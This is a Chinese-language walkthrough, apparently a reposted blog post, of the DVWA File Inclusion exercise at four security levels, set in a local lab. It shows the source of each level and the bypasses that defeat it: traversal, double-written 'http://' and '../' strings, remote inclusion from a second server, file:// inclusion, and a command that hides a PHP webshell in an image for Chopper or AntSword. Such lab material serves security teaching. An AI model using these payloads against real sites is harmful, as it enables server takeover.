DVWA--File Inclusion(文件包含)--四个级别
索引目錄:
Low
Medium
High
Impossible
文件包含,主要由于php.ini配置不嚴格,allow_url_fopen=On是導致文件包含的元兇之一 和php函數運用的嚴謹程度
php文件包含常用函數:
include: 包含并運行指定文件,當包含外部文件發生錯誤時,系統給出警告,但整個php文件繼續執行
include_once: 這個函數跟和include語句類似,唯一區別是如果該文件中已經被包含過,則不會再次包含
require: 跟include唯一不同的是,當產生錯誤時候,整個php文件停止運行
require_once: require_once語句和require 語句完全相同,唯一區別是PHP會檢查該文件是否已經被包含過,如果是則不會再次包含
php.ini配置文件: allow_url_fopen=off 即不可以包含遠程文件。php4存在遠程包含&本地包含,php5及以上僅存在本地包含
使用上面幾個函數包含文件時,該文件將作為PHP代碼執行,PHP內核并不在意被包含的文件是什么類型的。也就是說我們用這幾個函數包含.jpg文件時,也會將其當做php文件來執行
Low
源代碼: <?php// The page we wish to display $file = $_GET[ 'page' ];?>從Low級別的代碼我們可以看出,服務端對上傳的的page參數沒有任何過濾
注:服務器包含文件時,不管文件后綴是否是php,都會嘗試當作php文件執行,如果文件內容確為php,則會正常執行并返回結果;如果不是,則會原封不動地打印文件內容,所以文件包含漏洞常常會導致任意文件讀取與任意命令執行
漏洞利用:
1.本地包含:即包含本地文件
條件:開啟allow_url_include
-
首先我們嘗試包含本地一個不存在的文件
出現上圖所示報錯,從第一行警告我們可以看出它使用的是include函數,也直接爆出了含有include函數文件的位置
從第二行我們可以看出沒有找到指定文件 -
我們再嘗試包含一個存在的,在已經文件路徑的前提下
-
我們也可以嘗試使用../來進行目錄穿越(../表示返回上一層目錄)
已知test.php的絕對路徑在F:\xampp\htdocs\dvwa\vulnerabilities\filetest\test.php
我們當前在http://127.0.0.1:8008/dvwa/vulnerabilities/fi/下,由下圖文件具體位置可以看出,一個../就i返回到了有filetest目錄的目錄
注:配置文件中的Magic_quote_gpc選項為off。在php版本小于5.3.4的服務器中,當Magic_quote_gpc選項為off時,我們可以在文件名中使用%00進行截斷,也就是說文件名中%00后的內容不會被識別,即下面兩個url是完全等效的
這種情況多用于必須要文件后綴是php,jpg,jpeg,png等,只是為了上傳時表示存在,真正解析時直接截斷
由于本次實驗時7.3.4版本,無法演示
2.遠程文件包含,這里我自己用虛擬機搭了另一個服務器
條件:php.ini配置中,allow_url_fopen與allow_url_include為開啟狀態時,服務器會允許包含遠程服務器上的文件
發現利用成功,如果此時這是一句話木馬,我們就可以用菜刀或者蟻劍進行連接,獲得webshell了
你還可以通過url編碼進行隱秘操作:
Medium
源代碼: <?php// The page we wish to display $file = $_GET[ 'page' ];// Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file );?>Medium級別的代碼增加了str_replace函數,對page參數進行了處理,將http:// 、https://、 ../、..\替換為空字符,即刪除
漏洞利用:
- 使用str_replace函數也不是絕對安全的,因為我們可以使用雙寫繞過替換規則
例如page=htthttp://p://192.168.13.130/hello.php時,str_replace函數只會刪除一個http://,于是page=http://192.168.13.130/hello.php,成功執行遠程命令
同時,因為替換的只是../、..\,所以對采用絕對路徑(就是不使用…/)的方式包含文件是不會受到任何限制的
1.本地文件包含
但是我們如果非要用…/呢?那么我們就可以雙寫繞過
例如使用http://127.0.0.1:8008/dvwa/vulnerabilities/fi/?page=..././filetest/test.php,這樣str_replace只刪除了一個../
但是http://127.0.0.1:8008/dvwa/vulnerabilities/fi/?page=../../filetest/test.php卻不能執行,因為它直接檢測到了兩個../,所以利用雙寫繞過,不要單獨連起來,要嵌套起來
2.遠程文件包含
- 雙寫繞過法
- 把%68%74%74%70%3a%2f%2f192.168.13.130%2fhello.php嘗試url編碼進行包含
經過編碼后的url不能繞過替換規則,因為解碼是在瀏覽器端完成的,發送過去的page參數依然是page=http://192.168.13.130/hello.php,因此讀取失敗
High
源代碼: <?php// The page we wish to display $file = $_GET[ 'page' ];// Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit; }?>fnmatch(pattern,string,flags):根據指定的模式來匹配文件名或字符串
pattern 必需 規定要檢索的模式
string 必需 規定要檢查的字符串或文件
flags 可選
High級別的代碼使用了fnmatch函數檢查page參數,要求page參數的開頭必須是file,服務器才會去包含相應的文件。看似安全,但是我們依然可以利用file協議繞過防護策略。file協議其實我們并不陌生,當我們用瀏覽器打開一個本地文件時,用的就是file協議,file://F:/xampp/htdocs/dvwa/vulnerabilities/filetest/test.php,如下圖:
如果是php文件,則不會解析而是顯示其php代碼,在html頁面或源代碼中
至于執行任意命令,需要配合文件上傳漏洞利用。首先需要上傳一個內容為php的php文件或jpg照片,然后再利用file協議去包含上傳文件(需要知道上傳文件的絕對路徑),從而實現任意命令執行,謹記,php的file://協議只能打開本地文件
圖片插入一句話木馬(b為二進制,a為ascii碼)
copy xx.jpg/b +xx.php/a xxx.jpg,之后利用菜刀或蟻劍連接,連接時還需要先瀏覽網站,登陸賬號,完成Session認證
Impossible
源代碼: <?php// The page we wish to display $file = $_GET[ 'page' ];// Only allow include.php or file{1..3}.php if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit; }?>Impossible級別代碼使用了白名單機制進行防護,page參數必須為include.php、file1.php、file2.php、file3.php之一,因此徹底消除了文件包含漏洞的產生
總結
以上是生活随笔為你收集整理的DVWA--File Inclusion(文件包含)--四个级别的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 如何投资外汇赚钱,有两种方式
- 下一篇: DVWA--Brute Force(暴力